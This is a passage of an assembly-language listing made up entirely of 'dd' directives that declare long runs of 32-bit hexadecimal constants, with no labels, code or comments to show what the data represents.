		dd 5A9FB19Bh, 0B205A779h, 0CE573516h, 447DD8A0h, 0BD0C3B6Ah
		dd 7090C759h, 1993004Bh, 0B1793D1Ah, 11C0E7EBh,	0B3CC90D6h
		dd 7C731EEEh, 88CD805Eh, 9725995Ah, 4B5B94B2h, 66753021h
		dd 0F5ADE300h, 0C292400Eh, 2B1C201Ah, 4528AB1h,	0AE298D4Ch
		dd 0C430E139h, 4F7D0C60h, 83DBF212h, 455F6840h,	0C06553h
		dd 0ABE9C2A2h, 382F1C9Eh, 0D13AFF00h, 75D36348h, 0BFB20FD5h
		dd 9CE1B0F4h, 0D65AFABEh, 297B6260h, 8BEE1302h,	549F02B9h
		dd 7C59778h, 95C7A81Ch,	0EE9800BAh, 80B5B4D7h, 9AB89800h
		dd 0D94FC63h, 9DEF0049h, 82D43BCh, 9B00D76Eh, 0DB5EDEEAh
		dd 34D05BAh, 1D8621Bh, 0E0A7331Fh, 5FD0A69Ch, 0F976550h
		dd 0EB8EEC1Eh, 0D7F2F700h, 6ADA51h, 6071E53Dh, 9ED5100Bh
		dd 46007A7Bh, 0E3953911h, 1DF981F3h, 40651Fh, 322170Dh
		dd 0D9EC55E4h, 0DEA8FE05h, 0BC095409h, 5A4309E6h, 0CD99270Ch
		dd 0B2C914E0h, 0C1B08095h, 1C8D18Ch, 52F7D25Ch,	24EDE1E8h
		dd 3B00EE4Ch, 0ABCAF4DDh, 16FA53CDh, 0B4A76Fh, 90DEBA08h
		dd 809F7486h, 7BCA7C4Ch, 81F4A781h, 0EF34412Ch,	0B811D0BFh
		dd 13AC515Ch, 2054A45h,	0ACC0BBDAh, 8055BDD3h, 1F182E14h
		dd 0BC2845CAh, 6992381Ch, 1A290400h, 3B49B66Eh,	10187C09h
		dd 0D56C901Dh, 53E4DEh,	330FC2FCh, 0B8EE11E7h, 0FE01ED00h
		dd 6CEF4048h, 81850B3Bh, 70807FFAh, 9E417677h, 379CBC09h
		dd 261880E7h, 48E4F2A6h, 56007018h, 292C0C1Bh, 0E3EC6D49h
		dd 7107257Ch, 814B32AFh, 5101C57h, 0A9295Ch, 9BFCA4D6h
		dd 0A1076D8Dh, 80928A3Dh, 68CE2DA3h, 6F1987h, 62431639h
		dd 7B34462Eh, 9892F800h, 78912AF5h, 795D2467h, 95F6007Ch
		dd 970F5187h, 0F8B008B2h, 3C1D7B00h, 4B2D0870h,	1917005Dh
		dd 0A28393B2h, 0F5007FBFh, 0F869B5B0h, 7534A7h,	1224B7D4h
		dd 167E6BC3h, 0D1C0CB0h, 6625447Fh, 0A9A40190h,	0FD50A078h
		dd 1C28FCh, 0C3F4987Fh,	382D42Fh, 0D961B9D3h, 62F064C8h
		dd 6C3A7AEBh, 15461ED5h, 2930C580h, 0B8278734h,	3C013DDBh
		dd 501B5402h, 0B8854797h, 0E05CA1F5h, 0B200799Eh, 0E7687081h
		dd 9A8B7Bh, 6C6F1BD0h, 858D3751h, 203A7E00h, 8CD3CE6Bh
		dd 65D07EDh, 40F72674h,	298E52AAh, 149AD8E2h, 0ABEE7105h
		dd 0DC01D12Ah, 5525A10h, 0B6030C6Dh, 7FF17BA6h,	31DEEEA0h
		dd 1E8014Ch, 9F7982DDh,	0D1F83F54h, 0F01B0161h,	6D2EEA08h
		dd 24385Eh, 41ECE307h, 4FE1312Bh, 50CC0024h, 641F590Eh
		dd 0E049AF30h, 483B0B6Ah, 0D5C48444h, 9CFC0036h, 948BEFh
		dd 170A90CAh, 3A1934B5h, 0F5005F79h, 0DAA94CA8h, 0EC667Dh
		dd 0F4C39E3Ch, 9D60AEA1h, 3E900462h, 0E2F1245Bh, 0BFBE006Ch
		dd 64A88DECh, 0A1D8C3F9h, 6BFAEFDDh, 4B07A040h,	0BAACD400h
		dd 0C331CC8Fh, 743D00C4h, 16FEBB76h, 0E2C9545h,	7D09FA93h
		dd 9BF0801Ch, 7745EB9h,	0DB96D240h, 8FED50F9h, 6C0063A6h
		dd 171CAAC1h, 4B6EEA5h,	67C61052h, 0E704C84Dh, 0CEDA8B00h
		dd 0D1E922Dh, 79651B25h, 0C8F4198Eh, 316FC94h, 0BC00423Fh
		dd 8F7C7DD1h, 0FFC30E46h, 37801A36h, 31B62CF8h,	5222E3Dh
		dd 8FCB14F9h, 487E400h,	3C691E61h, 6701B42Fh, 63C8E26Ah
		dd 0DF9AD50Bh, 48A952F8h, 5928C101h, 226BBBD0h,	0D756A050h
		dd 0B562F8BEh, 7C00F80Eh, 8FA57E32h, 50E2B4D3h,	0E3535000h
		dd 1A9EE85h, 0E0F0800h,	6ABBAC95h, 395F98B6h, 1F8159E1h
		dd 49A0D793h, 0A482407h, 7398DF00h, 0C8CF7630h,	0A54E0CE7h
		dd 0F1C82A7Dh, 327389C6h, 0CDF84020h, 0F921C074h, 0FF7D0029h
		dd 0D58AAE96h, 7B509A0Fh, 0B0941DD7h, 3B70034h,	0B68AD05Ah
		dd 0D3E1C051h, 82010798h, 3B1890F8h, 0A4487B4Eh, 0F92D147Dh
		dd 75123013h, 8044874Dh, 0BFD061F7h, 181EF3Ah, 0F111FBC1h
		dd 89C46032h, 23A50020h, 2CD59287h, 0CC5882E8h,	62390072h
		dd 0B50CEE76h, 9E951F36h, 971341F5h, 0EB14CDD5h, 2420AFEFh
		dd 0E722563Eh, 0E3025F1Dh, 0E5946940h, 0F549966h, 5719B3Bh
		dd 4E06A380h, 0A4009518h, 0ED08C598h, 0FA470B33h, 0D4DD008Ch
		dd 9604B39Bh, 0F27E5D2Ah, 0F8C18660h, 2108C2h, 1879011Eh
		dd 9D9AA4A9h, 4E8D8200h, 0B113D7BAh, 2E4815CBh,	160080E6h
		dd 64A3F758h, 6158C28Eh, 0F3BB0010h, 0EC927E1h,	98A95077h
		dd 505E024Fh, 4112C98h,	0B4D57A20h, 10656061h, 0C306BF8Ah
		dd 0FB810300h, 0C21DE921h, 0E24C0775h, 0D0952340h, 0F8111F4Eh
		dd 0CB415361h, 820C58Dh, 5B201D2Dh, 47BB4C64h, 8A443368h
		dd 96343FBAh, 0F1D96983h, 0F5B82DC0h, 0C400C125h, 0D55918A0h
		dd 0C083885h, 4FB9DFD9h, 777BC210h, 0F7110F15h,	928B0038h
		dd 8CEF0482h, 0E513CE2h, 8731D481h, 8F54E38Ah, 0B7714729h
		dd 90F093h, 0C2576E89h,	4BD1187h, 3B034217h, 36EF5000h
		dd 0A2BE88h, 785C3450h,	0D285935Eh, 94BAE40Eh, 72F9E7A1h
		dd 2B107127h, 0E1E65F7h, 26D0857h, 1178A286h, 11B6B23h
		dd 0B32D1761h, 2601086h, 41F6602Bh, 76BE9842h, 0D91804ACh
		dd 0A910D6A2h, 197F613Eh, 8396B56Dh, 16603829h,	9E75E05Ch
		dd 0A239C043h, 0B93A8159h, 83233C03h, 0A32274C1h, 0F7210048h
		dd 0A00A8160h, 8462F81Ah, 0E1231559h, 0F2D0E98Ch, 81075043h
		dd 2048A1C4h, 67F662D0h, 3561179h, 66800CF5h, 0F77EC294h
		dd 92609374h, 0F5084421h, 0BBB302C9h, 127678F2h, 5100C743h
		dd 60834F1Eh, 31964357h, 35093FB4h, 0FE208077h,	13C48346h
		dd 389A00A9h, 57CFF765h, 0BB032472h, 276D5FE0h,	145823E1h
		dd 5E835101h, 700E5357h, 38834902h, 207A7CADh, 24621278h
		dd 46932C09h, 2E1B801Ch, 0A4484221h, 0F50A1C78h, 93213D06h
		dd 36008F91h, 0E1C3F512h
		dd 61012E4Fh, 7F52DE8Ch, 68813ABFh, 5EFC54F1h, 57A9F816h
		dd 17BE91C7h, 13442F81h, 0EA16B850h, 0B7650037h, 0F9D3B07Bh
		dd 0DD1558EBh, 40E0BC03h, 28C70F8h, 0B951815Eh,	4C192264h
		dd 81660410h, 0AAE61D01h, 8D6F4097h, 88434441h,	80529F11h
		dd 11A56031h, 50AE99h, 5FBDBB54h, 4EEFFE7Dh, 610D15B0h
		dd 0B11FAC2Bh, 32630C42h, 2438D35Eh, 90C40C4Eh,	0F5054340h
		dd 0D201892Dh, 28505FEBh, 6F10C3D0h, 80615CFh, 97CAA45Ch
		dd 2AAF1990h, 0C1DD21DBh, 18A9BE38h, 4119BF32h,	0D0AD64AEh
		dd 66588CFCh, 0F50C1C8Ch, 88061108h, 1438807Ah,	0FD3CBF5h
		dd 0B83ACD00h, 0B4268862h, 4EFC042Dh, 8EB2A220h, 76C78438h
		dd 35EFC430h, 0EFBAF1Fh, 0B98DD98Ch, 53BE094Eh,	0E824B5DAh
		dd 0FD93C078h, 62077B2Eh, 63031736h, 71219D46h,	5FB90073h
		dd 3E828B0Ah, 0FB11E464h, 5001B1D9h, 0EC94FC3Ah, 0BDC3CCBBh
		dd 3A18BF4Ch, 7654436h,	64F20DDDh, 971D31F7h, 66E0911Ch
		dd 8885547Bh, 415C034Ch, 6BDD020Dh, 1943C7E3h, 0C028A7F8h
		dd 0B3D92710h, 59A1A9C0h, 4C2456E3h, 308018F8h,	0D7687A0Ah
		dd 0A9EB7400h, 6D8612C4h, 4988A0F3h, 8E350F25h,	24FDF6A3h
		dd 1B091188h, 0B05988D9h, 56A3B0h, 0F3DC26E4h, 77136325h
		dd 9E8A8609h, 0F75C046Dh, 0FF306132h, 480D70F4h, 45E0105Eh
		dd 9100F507h, 7CA7A140h, 24089A25h, 40489FE2h, 0F47D1ABBh
		dd 5F363400h, 3CFF8801h, 9F7C72A0h, 2900A2E3h, 65EA35DEh
		dd 0C61933AFh, 697EF761h, 93B73B00h, 0CE9D0DBh,	0B96D18FEh
		dd 59A9E1B0h, 241658A1h, 0C08BFFC4h, 45F5E07h, 46FBB99Ah
		dd 88588F21h, 4EF6C0CBh, 710986F7h, 80C129BBh, 2C58B4BBh
		dd 969B1F97h, 8989D8B5h, 6004466h, 2E7C7456h, 0B3FB6Eh
		dd 818831F4h, 0EBC8F125h, 0B6D8AB18h, 8078C1F0h, 46409FE6h
		dd 0A5753A76h, 8E17FD00h, 31C99111h, 15622007h,	607F2BDEh
		dd 2D7B8C09h, 87FB9804h, 60CA446Ch, 283EB8h, 196416BFh
		dd 2DE1B23h, 0D9895362h, 0BB4A7AAh, 4EAE62A1h, 340FD4h
		dd 0FCFEC2D4h, 0AF179799h, 59C53630h, 0EBBD3Fh,	61481AADh
		dd 744B442Dh, 519FC8A0h, 0A04959CFh, 0C7282CF0h, 5F2907F5h
		dd 811655ACh, 0D48B6FEDh, 480E6E49h, 0AC066162h, 54239BAh
		dd 0AF67DE37h, 5E74022Fh, 9CC00C17h, 20989693h,	0D025546h
		dd 6B2EFFBAh, 7110A331h, 0D906B975h, 41EDDD61h,	0B0EA5B69h
		dd 0BA7C96C8h, 1947EC33h, 0C6ADE062h, 41AB60D9h, 0D61D30A3h
		dd 4D011871h, 0CA07CF47h, 0E431F544h, 8C734C30h, 11815B3Eh
		dd 4B884CB9h, 8162F581h, 6430FD0Bh, 5CD10988h, 900FB004h
		dd 31AF6380h, 848976DAh, 1CD83310h, 51050CB8h, 0DE295752h
		dd 0A423843Ah, 56A90B05h, 919FE088h, 0B5C60304h, 5BC8B48Dh
		dd 7D00DDC9h, 0F6568CCh, 69CB4B8Bh, 0D4879893h,	0FDA1FCCFh
		dd 358D661Eh, 0BD6C8FC0h, 907A33h, 45AE280Fh, 52AD8037h
		dd 0C049A8C8h, 2F0BBA09h, 838563E4h, 0F2B97175h, 0CF44E90Ch
		dd 0E8E771D9h, 6BF40035h, 41FE2F2Ch, 0EB1DF158h, 174716C2h
		dd 0D1C3DBF5h, 0D23100DCh, 1C790639h, 77FE6AB0h, 0B200A4ECh
		dd 0FA58FEE8h, 130C1E8Ah, 35ADF837h, 88808BF4h,	41DC191h
		dd 5C9BD46Ch, 5EF1C400h, 95EA83F7h, 179607FDh, 30553B97h
		dd 33BB1825h, 0E89129EEh, 50801111h, 2B575F83h,	0FFC6448Ch
		dd 0AE834700h, 5684EC30h, 60E8045Bh, 82851F27h,	5D307144h
		dd 0B94E3E81h, 4922C6h,	0EC816503h, 0A08671FBh,	442B9502h
		dd 6077FAFDh, 2D5C1ACh,	0A9A1174Dh, 9C44F8DDh, 0EE37DE0Bh
		dd 11C89DC6h, 195C804Bh, 0F07C5Fh, 171D6D7Ah, 47F6DDC1h
		dd 0E7A6531Eh, 0EAFD908h, 8A80EE42h, 0FC709C0Fh, 581F4701h
		dd 1E4ED2F8h, 3DC8784Bh, 35FDC3C0h, 6CC900BAh, 0DB311EBh
		dd 7C5544AAh, 2061E1E8h, 48C4658h, 2F0ABA06h, 20A26203h
		dd 5EB96E58h, 0A02AE213h, 0F7738023h, 0FCB622D0h, 0E8B300E4h
		dd 0C042D902h, 6E021D47h, 0A13F38B5h, 0EC4FE161h, 0A76819Ch
		dd 69745A37h, 3D113017h, 921A4980h, 0FD3E60FBh,	797B84DFh
		dd 2490D7CFh, 32C71Ch, 0CE2229C3h, 0AF167450h, 0DA9D0100h
		dd 21B13882h, 50F54861h, 3C000523h, 0B575B83h, 32208695h
		dd 54030477h, 0A25EF483h, 0C068F744h, 0A93C26B2h, 13C84152h
		dd 0C27D9AEh, 99B39EE0h, 0F383A52h, 0C022961Dh,	6B90AF77h
		dd 0C8F6358Ah, 62ACD1EBh, 0C0762C48h, 23A1091Bh, 3D0108D0h
		dd 33575A83h, 480A063h,	67FB8355h, 0EC387A00h, 824CACBFh
		dd 77AF24E6h, 782D62E4h, 94ED9042h, 18F8A0CFh, 1B1C30h
		dd 0D3362917h, 0AC0103E4h, 9744D9F4h, 209B4EBCh, 52D83B9Ch
		dd 292D7500h, 211D01DBh, 38560C79h, 0A461D6FFh,	6F002872h
		dd 70BBB053h, 60BD020Eh, 67D2924h, 0A3035F73h, 0E65BC659h
		dd 2D7CE8C2h, 0B5FF11C0h, 1DCD3E08h, 83094201h,	0AF60821Ch
		dd 499D0721h, 7BC42845h, 0D13D8B60h, 7C0596B8h,	8332B54Bh
		dd 5244BC82h, 0BB6D37C4h, 188BE9h, 2A00DD27h, 3B08F210h
		dd 14B9518h, 1D43713h, 5041CF82h, 144771F4h, 75623Eh, 24CA93FEh
		dd 481B7DC1h, 77300851h, 3F5DD51h, 0CE587C7Eh, 472A1E20h
		dd 5243A846h, 0B010089h, 963AC240h, 2674599Ch, 6239B57Fh
		dd 2E1E783Eh, 7A012DA2h, 57233C43h, 8A644D1h, 9A9802E8h
		dd 74C12D01h, 7A36D03Eh, 1E4C8090h, 58B405B3h, 0E400B679h
		dd 53B5AC7Eh, 76030C9Eh, 9611A8F9h, 0DFC6FF07h,	0DD80276Dh
		dd 30323601h, 0D9042C2h, 5F000C3Dh, 983AB909h, 0D9B711h
		dd 0DF9DEDA7h, 3C9F992Dh, 61E2A4A8h, 0B1293E2h,	4AF0CE5Ch
		dd 0E98763F7h, 2490EC3Eh, 4A0023F9h, 43C59990h,	1C0BC0B1h
		dd 0FC39FE4h, 9B7F3FBCh, 0E1B8504Ch, 3E0022A6h,	82F83A8Bh
		dd 15C8ED3Ch, 0C42FCF93h, 25F9A32Eh, 19007ED6h,	0B86DE8A2h
		dd 52740105h, 9A7E62E9h, 0F764D0A8h, 0DD4BD705h, 30CC0B4Fh
		dd 0BB3C3855h, 0F9F21B87h, 172C1030h, 3900C590h, 73FA1829h
		dd 0DA455Eh, 0EDF9AF48h, 0E4F5C13Dh, 405F3C27h,	1F961F8Ch
		dd 7B7E9E3Fh, 0B2C5380h, 2FB2124Dh, 0D0F7CD01h,	0A72318ACh
		dd 0C1C4FC71h, 40D603F2h, 9F418156h, 0DF43C397h, 24EDB988h
		dd 32BEBB00h, 397B3A95h, 8366094h, 1A0CF53Fh, 0E7741D07h
		dd 0E04E02AEh, 35968B6h, 66313E5Dh, 37CB23Bh, 572F485Bh
		dd 5AE34C06h, 0D05471C1h, 67F04BF7h, 7363E800h,	0EB6F03A6h
		dd 26FE8Dh, 5B167224h, 194F59FFh, 0D732F01h, 0E757354Eh
		dd 0B69E0E3h, 68033C4Ah, 3002791Dh, 4D67F630h, 71745C7Ch
		dd 4E201900h, 96F7481Ah, 1491402h, 4916495h, 9D0CBEEBh
		dd 42106A1Ch, 358EF100h, 0D70F5EB3h, 0D0601B9h,	8F6C3C69h
		dd 6331867Bh, 417AD1h, 9A4F6283h, 0CC112857h, 0ED5359C3h
		dd 5961000Fh, 4425D0FAh, 0BE3DB735h, 75A1181Eh,	88FEBA48h
		dd 1F183A11h, 5B1158CEh, 0FFCF0744h, 0E17445F1h, 0D16F7DFAh
		dd 18218061h, 2C7ECE6Dh, 4A850096h, 0AD351EEFh,	70604EC6h
		dd 9CEBA60h, 0F7F0012Fh, 0F8EEE55h, 1ED881A0h, 90322636h
		dd 6174D180h, 72FD5698h, 153E370Fh, 4E18BDFAh, 73095121h
		dd 0D57F0098h, 0EA7D0A9Fh, 0F614D97Ch, 80242436h, 0FD589863h
		dd 60448CC2h, 980B003Bh, 0EAB95D7Fh, 3C0068FEh,	59119482h
		dd 6921648h, 35A6F256h,	9D2AA83Fh, 7A00A853h, 75A214A3h
		dd 0F32A0A11h
		dd 4D0DD8h, 351D3CE3h, 901E179Dh, 6FF6530Ch, 60327093h
		dd 5635797Dh, 7E003A8Bh, 0BACED609h, 0D0A08CB9h, 6C85E480h
		dd 63640EBBh, 1B1979CCh, 55805B14h, 12223D0h, 0F264CF57h
		dd 35070E4Dh, 11A4CF40h, 0C8B7AEE8h, 51609D9Bh,	15DD23D1h
		dd 84FB1E4Bh, 882B80E9h, 82F08046h, 89C0327Ch, 26C25C34h
		dd 0BF2D0A1Ah, 1EC4466h, 2AC9FD5Ah, 844C2103h, 3AC33651h
		dd 11903890h, 1A020105h, 9EBBAF92h, 6EC5F07Eh, 0A8406660h
		dd 0C204DB11h, 0B35B5020h, 0B2E59881h, 0BC208288h, 8F6531C9h
		dd 11E784C8h, 7E7C1880h, 0CC48517Dh, 549E81C4h,	194DA071h
		dd 89FB4E59h, 0CC088611h, 80A03A12h, 86CD0B9Ch,	6311CFEAh
		dd 629EA5F2h, 0CF413400h, 791A8B10h, 7EF30929h,	5C1147CDh
		dd 0FFE182Bh, 0FAFD4197h, 8069C8B0h, 5D980654h,	0B6008A43h
		dd 0A07C6263h, 1B8D28BDh, 0F05C52E6h, 503515B9h, 0F950DDA4h
		dd 8361D14h, 97FF8034h,	4362FD44h, 672237h, 3A98074Fh
		dd 91F30F43h, 2D310D06h, 76216133h, 0EEE6E6h, 40CB8BDCh
		dd 7D4C0ABFh, 8CB5B800h, 30C098CAh, 12D77C4Bh, 209C7237h
		dd 0E7C31114h, 0D5F75E00h, 6597E5DCh, 0E393026Ch, 375D8EF2h
		dd 18258C91h, 57980A64h, 44586AFDh, 0C524062h, 1BCC898h
		dd 5759825Ch, 400E72C9h, 0C58EF0D8h, 3558AE61h,	2C253F84h
		dd 6688804Eh, 12A708C0h, 9064F4E1h, 0E7370028h,	7B50701Dh
		dd 80F19B6Bh, 0FD2196E9h, 9008300Dh, 0E8B549E4h, 0F821A230h
		dd 0D100FD28h, 0BC1BBC2h, 5A6E43Ah, 46EE8D01h, 0AFE4065Ah
		dd 6C4658B9h, 26FD2007h, 4CC4482Dh, 0FD07F740h,	93E242D0h
		dd 44E51126h, 4CEF2D8Fh, 0F3C5843h, 33379A50h, 0C8003688h
		dd 353AF2E8h, 0B96C1206h, 1FD83457h, 802000AAh,	1A97C845h
		dd 9A94930Eh, 0B1C9831Bh, 0D761084Fh, 5A1D3642h, 0B402F680h
		dd 49930988h, 1907E43Ch, 951E7729h, 0BA3081FCh,	2D089854h
		dd 3204E21h, 10732677h,	584C5245h, 0EBC80830h, 90B98896h
		dd 5652464h, 10F1FEB4h,	47C8E0DCh, 0CE6A3B82h, 598C61E9h
		dd 0C6973410h, 0B8602E2Ah, 0DACD1500h, 0EBDD3580h, 520F2C28h
		dd 21EC4480h, 4AE02569h, 6200C43h, 68191192h, 9E95D400h
		dd 55982F07h, 6A6379A9h, 8708175h, 0D7124CDDh, 1D766005h
		dd 61C8388Bh, 536F1FC0h, 792765D8h, 73EC9159h, 0E1782468h
		dd 0A72D11F9h, 0E0804DD9h, 2B082369h, 7CF8626Ch, 0ACF99DDh
		dd 0E089824h, 2A0197FDh, 506A1BA5h, 5A7E2F74h, 0F1FD0A00h
		dd 0C72D703Dh, 585F67E2h, 4AA1DC32h, 0AFB1A009h, 67860081h
		dd 2D8155Fh, 0D6D1C5CFh, 0E48048DDh, 4965C192h,	0AA43F0A0h
		dd 0B54DE9F0h, 683724D0h, 28045C12h, 940295F6h,	28ED3E48h
		dd 4750CAE0h, 157B00ADh, 86565532h, 4137D992h, 6C927061h
		dd 4694C68Eh, 38FD24B7h, 78A8AC26h, 28351100h, 0F6A79217h
		dd 206044EEh, 6A46D490h, 0CFD2207h, 40C41830h, 0FD29F540h
		dd 7200BFECh, 209EE5E7h, 6055E993h, 0C2F985Fh, 2113FDA2h
		dd 64101267h, 0A50C76A4h, 788E82F6h, 941A4C7Fh,	8C69BCh
		dd 0AE7FA11Ah, 6595A093h, 0DD74EA0Bh, 9A6006FAh, 6C460BA1h
		dd 24298390h, 602AC804h, 0E64297FDh, 4D448C12h,	98050055h
		dd 52AEA57Ah, 0DE24CA0Bh, 609282Bh, 562C3329h, 1F70A808h
		dd 9452923h, 702315F9h,	59077C32h, 0EFD9E0B4h, 9748513h
		dd 1D582D30h, 4BE40045h, 2CF69760h, 0DA28CA17h,	0D18D3C23h
		dd 0B045654Ah, 1586AC00h, 4855D095h, 8E0230F0h,	0A870DE52h
		dd 0CD24B040h, 0E186C49h, 1B37BDAh, 0F8B47D0Ch,	0CC30BE0h
		dd 43AE577h, 29145DA9h,	0EE80213h, 0CBB48EEEh, 9778095Bh
		dd 804D91D0h, 0E9CAB391h, 5662037Fh, 9E19529h, 22085ACh
		dd 0A759A68Ch, 0B482046Ah, 7489D828h, 7CFA0882h, 44B12446h
		dd 49186771h, 807DD8E4h, 0D9510A01h, 57C9E872h,	57AC8C62h
		dd 0D032CE1Dh, 7700E3E4h, 0F6EEE99Ah, 0D09B693Ch, 9D69D82h
		dd 0A6F2A480h, 18C2B229h, 64FA53B9h, 0C13A0BD4h, 501074C9h
		dd 0BA808E6Ah, 0B280B00Ch, 286B1204h, 185716FBh, 0B03EB004h
		dd 0FD1E0486h, 62102D28h, 25F9203Dh, 0F53AA1FDh, 8D0F8121h
		dd 54FE292Bh, 207821A8h, 34A1355Ah, 74131536h, 6333A421h
		dd 0F6DE1980h, 3EB172E6h, 9BD29803h, 0BF7EAD42h, 0C0951A22h
		dd 98595398h, 72F2204Ch, 0A730FA05h, 0E080921Ch, 627EC6A5h
		dd 18A9E845h, 3323F869h, 0F86B26F0h, 0A8299278h, 199B9Ch
		dd 592AB4A0h, 0C43505D4h, 0F0419801h, 44327257h, 18107C61h
		dd 18E23EFEh, 3AA29561h, 14735DFDh, 98B11104h, 3082AA33h
		dd 0D1873329h, 2C0AFD43h, 856B0D0h, 7E290098h, 0EA339D24h
		dd 95391B66h, 24C04D11h, 4552A055h, 604CC484h, 249E16A5h
		dd 762BC14h, 0CB88B3AAh, 772A58B0h, 4461D79h, 4FC0FF3Ch
		dd 1A772100h, 0E6906D59h, 0B0685D16h, 2132298Fh, 3472CD04h
		dd 4C00A814h, 99D46407h, 0EFD7EF5h, 0B295CF4h, 92680652h
		dd 0AC248126h, 40003067h, 828AE8A4h, 0B2D304BCh, 9E014E5h
		dd 3EF46095h, 391E81AEh, 9024AC60h, 0BFC42E50h,	0DBFA00F8h
		dd 926C4CC6h, 35298865h, 8E939481h, 76D19510h, 0CC28D896h
		dd 7C4AB820h, 0E96F6963h, 3E182088h, 224EBB3Ah,	2D10644Ch
		dd 1292886Eh, 7F83F9C1h, 9E809CBBh, 0B87E344Ch,	0C624E635h
		dd 0F3D0E067h, 6921847Bh, 0FD23819Bh, 1818300Bh, 2AF6883Fh
		dd 0CA37FD00h, 0B5780D2h, 3A5E9077h, 0E069DAB9h, 118B5C9Bh
		dd 5C94B92Ch, 883BF4D8h, 0F4913559h, 797EF282h,	1200513Dh
		dd 0C8CCCB72h, 0DE2CC069h, 0A0000E48h, 7FB77190h, 4F2BDD7Ch
		dd 0A1E84033h, 0A3AAC43Fh, 0D8F2C12Eh, 5118C24h, 454AB148h
		dd 406ACD18h, 6FB698C0h, 13001FD8h, 5446827Dh, 3932BFACh
		dd 4B0070F1h, 3FDA11A6h, 5600921Ah, 5B86E06Ch, 9062E7BDh
		dd 4CBC4210h, 2BCB1074h, 1DE97C09h, 67910097h, 0BF2087h
		dd 0AA8B50E2h, 9025ED19h, 0EDC61E28h, 0BF64C07Ch, 2916F448h
		dd 2D04B5ADh, 90C90672h, 300E472h, 120DBE8Dh, 3450CB01h
		dd 2496CDECh, 4A6C0F87h, 0E8D0C5D0h, 0C3D2002Fh, 7D56B2A4h
		dd 0B104E62Eh, 222DFE1Dh, 956CACD1h, 0BC228C49h, 373AC99Ch
		dd 11EE9465h, 5AEE7C83h, 0C0731BC0h, 1E74E159h,	71D0DE35h
		dd 88B7487Fh, 0C1B04010h, 2D32FD1Ch, 644C51C2h,	699880FBh
		dd 0B7012EABh, 59D47529h, 642CB963h, 4874F682h,	0B28C1500h
		dd 0A0C8018Eh, 81C9A71Ah, 0A488A650h, 4494674h,	0A76C8E01h
		dd 2346488h, 0AB289E2Fh, 58711A88h, 5F0AF600h, 4F317D2Ch
		dd 23C82E12h, 0C1BA005Eh, 788DF82Fh, 0EC064AFAh, 3BFB291Bh
		dd 25560091h, 0AD2B6358h, 0A098155Ah, 26FC724Dh, 3D086829h
		dd 0E01B043Bh, 0BF9CC05Eh, 1A5C40AFh, 18CE24B5h, 0C8882040h
		dd 76E8EDC0h, 0F48A0089h, 0AADAEFA6h, 0E804D205h, 933085BBh
		dd 0FE78A4h, 178EE7EAh,	0DB058A3Eh, 0C9F7D300h,	0AD1E2841h
		dd 29CE6A1h, 587F9515h,	60496A1Ah, 6705102Ah, 1BCB0062h
		dd 0ED6B72F1h, 8201BD8Fh, 0A4FBAB9Ah, 0F860642Eh, 98168827h
		dd 65DFFC07h, 5A20CC07h, 264F19B9h, 1360112Fh, 0EC14AAh
		dd 0B15CDEC2h, 9C966471h, 0E944040h, 3895D43Eh,	895BF0Ah
		dd 65004C56h, 1BA2EAD2h, 0DC00DFC0h, 56747391h,	4DE7837h
		dd 586CCCB5h, 0B0ACC7EBh, 86D75B1Bh, 0C0201A41h, 0CF5F4433h
		dd 545C4200h, 8C3811A0h
		dd 0AC30156h, 2780A20Ch, 6D21FC3Ah, 0BC6763F2h,	7E9F3699h
		dd 772AFD49h, 0CD194B0Ch, 7D0058B1h, 0ACB1CF5Eh, 9A100162h
		dd 9FD0E0FCh, 0A70C73EBh, 66309404h, 0A5CE0A8h,	0A4A2A454h
		dd 29304CB2h, 7C090090h, 0F05C3368h, 431334FBh,	88401EAAh
		dd 6D326C72h, 45E8BC94h, 7F7C012Dh, 39D49357h, 0F6D80664h
		dd 0F905E76h, 0C716994h, 0BAA6D1E0h, 751E96FBh,	0CE969B38h
		dd 3953B444h, 656A042h,	0B2168458h, 836A72Bh, 7CB290h
		dd 0E3D78053h, 6B9B8EF1h, 761068C0h, 2E3DE7h, 0A56063Bh
		dd 187BBA7h, 751C4100h,	0C7F0786h, 0F06D00BDh, 28763EEAh
		dd 0A803B8C5h, 309993BAh, 2C9EA092h, 0A5AF0074h, 8BEB15CFh
		dd 41F07267h, 0B02AF51Eh, 6E32E780h, 69389h, 28EE4035h
		dd 0A66922EDh, 0AAE72050h, 75D2940Bh, 2F4907BBh, 86474340h
		dd 2A2800E7h, 933DB5B7h, 3C5D52BCh, 40563CC8h, 409D5A57h
		dd 0C1E1F908h, 990014BAh, 5DB0E4C2h, 132DD712h,	0C0737EEFh
		dd 588D115Ch, 6C0504BEh, 0D040918Fh, 0FCB19AC7h, 262F76F9h
		dd 81D87ABEh, 3A11D6A5h, 0C0743C21h, 0F261CF56h, 64458CB5h
		dd 3CCF3FC4h, 5383A635h, 8F12BF2Dh, 113C5013h, 303FC862h
		dd 291DFD1Dh, 946DE82Dh, 24FC0024h, 0A4CE8DFDh,	920E10Ah
		dd 2C84484Bh, 2F1A52DCh, 682368h, 63DF7264h, 4F3A7CF7h
		dd 0A99CAFD1h, 0D31F078Ch, 6DF4CC20h, 0D7EC00AEh, 0E62B2A96h
		dd 31162E46h, 420321Ch,	0B870AD80h, 0D753375Bh,	6344C799h
		dd 80E4CAD1h, 0B3FB1A78h, 0F82F385Bh, 0BD016323h, 8FB84492h
		dd 9680782Ch, 95CE451Bh, 3214A300h, 0B1B980E6h,	26781439h
		dd 6D10BC5Fh, 0CCA9354h, 43C049C8h, 25DE5323h, 0AC023EFCh
		dd 72207630h, 0CA35B8F6h, 5C30E218h, 0F8094A46h, 0B0E5D853h
		dd 980D6F00h, 91FBE1Ah,	0BA638740h, 8E4AFC90h, 9A9B6920h
		dd 861E7C88h, 473A4D25h, 606464FCh, 7235CA4Ch, 4E6BB823h
		dd 28600769h, 0F829FCCDh, 0A279A07Fh, 0E2393C7Ah, 0A9A3076Ah
		dd 6C21475h, 0FC7292h, 2FD77EDFh, 66C6E3ADh, 2E9C38F7h
		dd 465EB4B3h, 64C00116h, 236770C9h, 4B5854C4h, 38746782h
		dd 7F09A94Ah, 0F23C0174h, 81EA7196h, 70CDE498h,	0F3263180h
		dd 0EE6A781h, 45737B04h, 44A2B7CCh, 1C5C7C4Ch, 4B88A811h
		dd 4431DC35h, 2EE4F7B6h, 0EC437D74h, 257F6E0h, 3C0569F2h
		dd 9CCB28B1h, 0E4044B8Fh, 0AA54B044h, 92D4812Dh, 68C04C8h
		dd 23820C60h, 448C54F2h, 77FC7902h, 0E6EBC901h,	6D58D78Eh
